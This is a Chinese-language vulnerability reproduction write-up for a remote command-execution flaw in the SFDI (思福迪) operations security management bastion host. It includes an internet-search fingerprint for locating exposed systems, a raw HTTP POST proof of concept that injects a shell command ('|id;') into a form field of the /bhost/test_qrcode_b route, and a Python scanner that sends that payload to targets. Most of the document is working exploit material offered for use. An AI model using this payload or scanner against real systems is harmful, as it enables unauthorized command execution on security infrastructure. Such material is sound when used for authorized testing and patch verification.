一、漏洞描述
思福迪运维安全管理系统是思福迪开发的一款运维安全管理堡垒机。思福迪运维安全管理系统 test_qrcode_b 路由存在命令执行漏洞。
二、漏洞影响
思福迪 运维安全管理系统
三、网络测绘
app=“思福迪-LOGBASE”
四、漏洞复现
登陆页面
1.手动复现
验证POC
POST /bhost/test_qrcode_b HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Content-Length: 23
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: http://xxx.xxx.xxx.xxx
Accept-Encoding: gzip
z1=1&z2="|id;"&z3=bhost
burp截图
2.自动化复现
小龙POC检测脚本正式开源,请各路大神完善和批评
小龙POCexe传送门: 小龙POC工具
小龙POC开源传送门: 小龙POC工具
3.python源代码
# SFDI_Security_Management_System_test_qrcode_b_Command_Vuln_Scan.py
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import Timeout
def Scan_SFDI_Security_Management_System_test_qrcode_b_Command_Vuln(url, proxies, headers, append_to_output):
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
if url.endswith("/"):
path = "bhost/test_qrcode_b"
else:
path = "/bhost/test_qrcode_b"
if not url.startswith('http://') and not url.startswith('https://'):
url = 'http://' + url
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
"Content-Length": "23",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": url,
"Accept-Encoding": "gzip",
}
encodetext = url + path
data='''z1=1&z2="|id;"&z3=bhost'''
append_to_output("===================================================================", "green")
append_to_output(f"扫描目标: {url}", "yellow")
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
req1 = requests.post(encodetext, data=data, headers=headers, verify=False, timeout=20, proxies=proxies)
if req1.status_code == 200 and 'uid' in req1.text:
append_to_output(f"[+] {url} 存在思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞!!!!", "red")
else:
append_to_output(f"[-] {url} 不存在思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞", "green")
except Timeout:
append_to_output(f"[!] 请求超时,跳过URL: {url}", "yellow")
except Exception as e:
if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
append_to_output(f"[-] {url} 证书校验错误或者证书被拒绝", "yellow")
else:
append_to_output(str(e), "yellow")